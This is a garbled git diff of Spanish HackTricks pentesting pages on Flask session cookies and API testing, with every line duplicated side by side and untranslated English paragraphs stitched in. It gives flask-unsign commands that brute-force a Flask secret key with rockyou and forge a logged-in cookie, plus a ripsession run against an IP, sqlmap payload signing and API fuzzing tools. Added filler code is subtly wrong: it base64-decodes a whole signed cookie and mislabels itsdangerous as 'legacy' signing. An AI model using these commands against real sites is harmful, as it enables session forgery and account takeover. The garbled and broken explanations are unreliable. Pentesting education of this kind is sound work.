* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -5,17 +5,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -23,15 +23,15 @@ Obtén acceso hoy:
## Cookies ## Cookies
El nombre de sesión de cookie predeterminado es **`session`**. El nombre de sesión de la cookie por defecto es **`session`**.
### Decodificador ### Decodificador
Decodificador de cookies Flask en línea: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) Decodificador de cookies de Flask en línea: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual #### Manual
Obtén la primera parte de la cookie hasta el primer punto y descodifícala en Base64. Obtén la primera parte de la cookie hasta el primer punto y decodifícala en Base64>
```bash ```bash
echo "ImhlbGxvIg" | base64 -d echo "ImhlbGxvIg" | base64 -d
``` ```
@ -46,18 +46,88 @@ Herramienta de línea de comandos para obtener, decodificar, realizar fuerza bru
pip3 install flask-unsign pip3 install flask-unsign
``` ```
#### **Decodificar Cookie** #### **Decodificar Cookie**
La decodificación de una cookie es un proceso importante en la pentesting web, ya que puede revelar información sensible almacenada en la cookie. Al decodificar una cookie, se puede obtener información como el nombre de usuario, la identificación de sesión u otros datos confidenciales.
Existen varias herramientas y técnicas disponibles para decodificar cookies. A continuación, se muestra un ejemplo de cómo decodificar una cookie utilizando Python y la biblioteca Flask.
```python
from flask import Flask, request
import base64
app = Flask(__name__)
@app.route('/')
def index():
cookie = request.cookies.get('session')
if cookie:
decoded_cookie = base64.b64decode(cookie).decode('utf-8')
return f'Decoded Cookie: {decoded_cookie}'
else:
return 'No cookie found'
if __name__ == '__main__':
app.run()
```
En este ejemplo, se utiliza Flask para crear una aplicación web básica. La función `index()` se encarga de obtener la cookie llamada 'session' y decodificarla utilizando la función `base64.b64decode()`. Luego, se muestra la cookie decodificada en la respuesta.
Al ejecutar esta aplicación y acceder a la página principal, se mostrará la cookie decodificada si existe. Esto puede ser útil para identificar información sensible almacenada en las cookies y evaluar la seguridad de una aplicación web.
Es importante tener en cuenta que la decodificación de una cookie no siempre revelará información confidencial. Algunas aplicaciones pueden cifrar o codificar adicionalmente los datos de la cookie antes de almacenarlos. En tales casos, puede ser necesario utilizar técnicas adicionales para descifrar o decodificar los datos.
```bash ```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
``` ```
#### **Fuerza Bruta** #### **Fuerza Bruta**
Brute force, also known as brute force attack, is a hacking technique used to gain unauthorized access to a system or account by systematically trying all possible combinations of passwords until the correct one is found. This method relies on the assumption that the password is weak and can be easily guessed.
In web application pentesting, brute force attacks are commonly used against login pages or any other form that requires user authentication. Attackers use automated tools to send a large number of login attempts, trying different combinations of usernames and passwords.
To protect against brute force attacks, it is important to implement strong password policies, such as requiring complex passwords and enforcing account lockouts after a certain number of failed login attempts. Additionally, implementing CAPTCHA or rate limiting mechanisms can help prevent automated brute force attacks.
#### **Fuerza Bruta**
La fuerza bruta, también conocida como ataque de fuerza bruta, es una técnica de hacking utilizada para obtener acceso no autorizado a un sistema o cuenta mediante la prueba sistemática de todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Este método se basa en la suposición de que la contraseña es débil y puede ser fácilmente adivinada.
En la pentesting de aplicaciones web, los ataques de fuerza bruta se utilizan comúnmente contra páginas de inicio de sesión u cualquier otro formulario que requiera autenticación de usuario. Los atacantes utilizan herramientas automatizadas para enviar un gran número de intentos de inicio de sesión, probando diferentes combinaciones de nombres de usuario y contraseñas.
Para protegerse contra los ataques de fuerza bruta, es importante implementar políticas de contraseñas fuertes, como requerir contraseñas complejas y aplicar bloqueos de cuenta después de un cierto número de intentos de inicio de sesión fallidos. Además, implementar CAPTCHA o mecanismos de limitación de velocidad puede ayudar a prevenir ataques de fuerza bruta automatizados.
```bash ```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
``` ```
#### **Firma** #### **Firma**
Signing is a process used to ensure the integrity and authenticity of data. In the context of web applications, signing is commonly used to verify the authenticity of user requests and prevent tampering.
La firma es un proceso utilizado para garantizar la integridad y autenticidad de los datos. En el contexto de las aplicaciones web, la firma se utiliza comúnmente para verificar la autenticidad de las solicitudes de los usuarios y prevenir la manipulación.
```bash ```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
``` ```
#### Firma usando versiones antiguas (legacy) #### Firma usando versiones antiguas (legacy)
When using Flask, it is important to be aware of the potential security risks associated with using legacy versions. Legacy versions of Flask may have vulnerabilities that can be exploited by attackers. Therefore, it is recommended to always use the latest version of Flask to ensure the best security.
To sign data using legacy versions of Flask, you can use the `itsdangerous` library. This library provides a `URLSafeSerializer` class that can be used to sign and verify data.
Here is an example of how to sign data using legacy versions of Flask:
```python
from itsdangerous import URLSafeSerializer
# Create a serializer object with a secret key
serializer = URLSafeSerializer('your_secret_key')
# Sign the data
signed_data = serializer.dumps('your_data')
# Verify the signed data
verified_data = serializer.loads(signed_data)
```
In the example above, `your_secret_key` should be replaced with your actual secret key, and `your_data` should be replaced with the data you want to sign.
By using the `URLSafeSerializer` class from the `itsdangerous` library, you can securely sign and verify data in legacy versions of Flask. However, it is still recommended to upgrade to the latest version of Flask to take advantage of the latest security features and patches.
```bash ```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
``` ```
@ -67,16 +137,16 @@ Herramienta de línea de comandos para realizar ataques de fuerza bruta en sitio
{% embed url="https://github.com/Tagvi/ripsession" %} {% embed url="https://github.com/Tagvi/ripsession" %}
```bash ```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
``` ```
### SQLi en la cookie de sesión de Flask con SQLmap ### SQLi en la cookie de sesión de Flask con SQLmap
[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente** los payloads de sqlmap para Flask utilizando un secreto conocido. [**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente** las cargas útiles de sqlmap para Flask utilizando un secreto conocido.
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Utilice [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -84,10 +154,10 @@ Obtenga acceso hoy mismo:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -14,7 +14,7 @@
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -25,7 +25,7 @@ Principal:
* **Servicios web (SOAP/XML)** * **Servicios web (SOAP/XML)**
* La documentación utiliza el formato **WSDL** y generalmente se guarda en la ruta `?wsdl`, como `https://api.example.com/api/?wsdl` * La documentación utiliza el formato **WSDL** y generalmente se guarda en la ruta `?wsdl`, como `https://api.example.com/api/?wsdl`
* Un ejemplo de esta documentación se puede encontrar en [http://www.dneonline.com/calculator.asmx](http://www.dneonline.com/calculator.asmx) (documento WSDL en [http://www.dneonline.com/calculator.asmx?wsdl](http://www.dneonline.com/calculator.asmx?wsdl)) y puedes ver un ejemplo de solicitud llamando al método `Add` en [http://www.dneonline.com/calculator.asmx?op=Add](http://www.dneonline.com/calculator.asmx?op=Add) * Un ejemplo de esta documentación se puede encontrar en [http://www.dneonline.com/calculator.asmx](http://www.dneonline.com/calculator.asmx) (documento WSDL en [http://www.dneonline.com/calculator.asmx?wsdl](http://www.dneonline.com/calculator.asmx?wsdl)) y puedes ver una solicitud de ejemplo llamando al método `Add` en [http://www.dneonline.com/calculator.asmx?op=Add](http://www.dneonline.com/calculator.asmx?op=Add)
* Para analizar estos archivos y crear solicitudes de ejemplo, puedes usar la herramienta **SOAPUI** o la extensión **WSDLer** de Burp Suite. * Para analizar estos archivos y crear solicitudes de ejemplo, puedes usar la herramienta **SOAPUI** o la extensión **WSDLer** de Burp Suite.
* **APIs REST (JSON)** * **APIs REST (JSON)**
* La documentación estándar es el archivo WADL. Encuentra un ejemplo aquí: [https://www.w3.org/Submission/wadl/](https://www.w3.org/Submission/wadl/). Sin embargo, existen otros motores de representación de API más amigables para los desarrolladores, como [https://swagger.io/tools/swagger-ui/](https://swagger.io/tools/swagger-ui/) (consulta la demostración en la página) * La documentación estándar es el archivo WADL. Encuentra un ejemplo aquí: [https://www.w3.org/Submission/wadl/](https://www.w3.org/Submission/wadl/). Sin embargo, existen otros motores de representación de API más amigables para los desarrolladores, como [https://swagger.io/tools/swagger-ui/](https://swagger.io/tools/swagger-ui/) (consulta la demostración en la página)
@ -140,21 +140,21 @@ Extensión AutoRepeater de Burp: Agrega una regla de reemplazo
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 🛡️ Hoja de trucos de API Security Empire ## 🛡️ Hoja de trucos de seguridad de API Empire
\ \
Autor de la hoja de trucos: [Momen Eldawakhly (Cyber Guy)](https://www.linkedin.com/in/momen-eldawakhly-3b6250204)\ Autor de la hoja de trucos: [Momen Eldawakhly (Cyber Guy)](https://www.linkedin.com/in/momen-eldawakhly-3b6250204)\
\ \
En este repositorio encontrarás: mapas mentales, consejos y trucos, recursos y todo lo relacionado con la seguridad de API y la prueba de penetración de API. Nuestros mapas mentales y recursos se basan en el OWASP TOP 10 API, nuestra experiencia en pruebas de penetración y otros recursos para ofrecer el recurso de seguridad de API y prueba de penetración más avanzado y preciso en la WEB. En este repositorio encontrarás: mapas mentales, consejos y trucos, recursos y todo lo relacionado con la seguridad de API y las pruebas de penetración de API. Nuestros mapas mentales y recursos se basan en OWASP TOP 10 API, nuestra experiencia en pruebas de penetración y otros recursos para ofrecer el recurso de seguridad y pruebas de penetración de API más avanzado y preciso en la WEB.
### 🚪 Primer paso: `{{Reconocimiento}}` ### 🚪 Primer paso: `{{Reconocimiento}}`
El primer paso para ingresar al Imperio de Seguridad de API es saber cómo recopilar información sobre la infraestructura de la API y cómo realizar un reconocimiento poderoso en la API para extraer las puertas ocultas que podrían comprometer toda la infraestructura, por lo tanto, proporcionamos este mapa mental actualizado de Reconocimiento de API con las últimas herramientas y metodologías en el reconocimiento de API: El primer paso para ingresar al Imperio de Seguridad de API es saber cómo recopilar información sobre la infraestructura de la API y cómo realizar un reconocimiento poderoso en la API para extraer las puertas ocultas que podrían comprometer toda la infraestructura. Por lo tanto, proporcionamos este mapa mental actualizado de Reconocimiento de API con las últimas herramientas y metodologías en el reconocimiento de API:
\ \
![](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap.png) ![](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap.png)
@ -188,7 +188,7 @@ El primer paso para ingresar al Imperio de Seguridad de API es saber cómo recop
#### Ataque a GraphQL: #### Ataque a GraphQL:
Debido a los ataques limitados en GraphQL, intentamos generar todos los posibles ataques en el siguiente mapa mental basado en nuestra experiencia en pruebas de API: Debido a los ataques limitados en GraphQL, intentamos generar todos los posibles ataques en el siguiente mapa mental, basándonos en nuestra experiencia en pruebas de API:
![](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20%7B%7BGraphQL%20Attacking%7D%7D.png)\ ![](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20%7B%7BGraphQL%20Attacking%7D%7D.png)\
[**Versión en PDF**](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20%7B%7BGraphQL%20Attacking%7D%7D.pdf) **|** [**Versión en XMind**](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20%7B%7BGraphQL%20Attacking%7D%7D.xmind)\\ [**Versión en PDF**](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20%7B%7BGraphQL%20Attacking%7D%7D.pdf) **|** [**Versión en XMind**](https://github.com/Cyber-Guy1/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20%7B%7BGraphQL%20Attacking%7D%7D.xmind)\\
@ -217,18 +217,18 @@ kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
``` ```
* [**automatic-api-attack-tool**](https://github.com/imperva/automatic-api-attack-tool): Herramienta de ataque de API personalizable de Imperva que toma una especificación de API como entrada, genera y ejecuta ataques basados en ella como salida. * [**automatic-api-attack-tool**](https://github.com/imperva/automatic-api-attack-tool): Herramienta de ataque API personalizable de Imperva que toma una especificación de API como entrada, genera y ejecuta ataques basados en ella como salida.
* [**Astra**](https://github.com/flipkart-incubator/Astra): Otra herramienta para pruebas de API para encontrar varias vulnerabilidades web diferentes. * [**Astra**](https://github.com/flipkart-incubator/Astra): Otra herramienta para pruebas de API para encontrar diferentes vulnerabilidades web.
* [**Susanoo**](https://github.com/ant4g0nist/Susanoo): Escáner de vulnerabilidades de API. * [**Susanoo**](https://github.com/ant4g0nist/Susanoo): Escáner de vulnerabilidades de API.
* [**restler-fuzzer**](https://github.com/microsoft/restler-fuzzer): RESTler es la _primera herramienta de fuzzing de API REST con estado_ para probar automáticamente servicios en la nube a través de sus API REST y encontrar errores de seguridad y confiabilidad en estos servicios. Para un servicio en la nube dado con una especificación OpenAPI/Swagger, RESTler analiza toda su especificación y luego genera y ejecuta pruebas que ejercen el servicio a través de su API REST. * [**restler-fuzzer**](https://github.com/microsoft/restler-fuzzer): RESTler es la _primera herramienta de fuzzing de API REST con estado_ para probar automáticamente servicios en la nube a través de sus API REST y encontrar errores de seguridad y confiabilidad en estos servicios. Para un servicio en la nube dado con una especificación OpenAPI/Swagger, RESTler analiza toda su especificación y luego genera y ejecuta pruebas que ejercen el servicio a través de su API REST.
* [**TnT-Fuzzer**](https://github.com/Teebytes/TnT-Fuzzer)**:** TnT-Fuzzer es un fuzzer OpenAPI (swagger) escrito en Python. * [**TnT-Fuzzer**](https://github.com/Teebytes/TnT-Fuzzer)**:** TnT-Fuzzer es un fuzzer OpenAPI (swagger) escrito en Python.
* [**APIFuzzer**](https://github.com/KissPeter/APIFuzzer)**:** APIFuzzer lee la descripción de tu API y, paso a paso, realiza fuzzing en los campos para validar si tu aplicación puede manejar los parámetros fuzzed. * [**APIFuzzer**](https://github.com/KissPeter/APIFuzzer)**:** APIFuzzer lee la descripción de tu API y, paso a paso, realiza fuzzing en los campos para validar si tu aplicación puede manejar los parámetros fuzzed.
* [**API-fuzzer**](https://github.com/Fuzzapi/API-fuzzer): La gema API\_Fuzzer acepta una solicitud de API como entrada y devuelve las posibles vulnerabilidades en la API. * [**API-fuzzer**](https://github.com/Fuzzapi/API-fuzzer): La gema API\_Fuzzer acepta una solicitud de API como entrada y devuelve las posibles vulnerabilidades en la API.
* [**race-the-web**](https://github.com/TheHackerDev/race-the-web): Pruebas de condiciones de carrera en aplicaciones web enviando un número especificado de solicitudes a una URL (o URLs) objetivo _simultáneamente_, y luego compara las respuestas del servidor para determinar su unicidad. * [**race-the-web**](https://github.com/TheHackerDev/race-the-web): Pruebas para condiciones de carrera en aplicaciones web enviando un número especificado de solicitudes a una URL (o URLs) objetivo _simultáneamente_, y luego compara las respuestas del servidor para determinar su unicidad.
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -239,7 +239,7 @@ Obtén acceso hoy mismo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
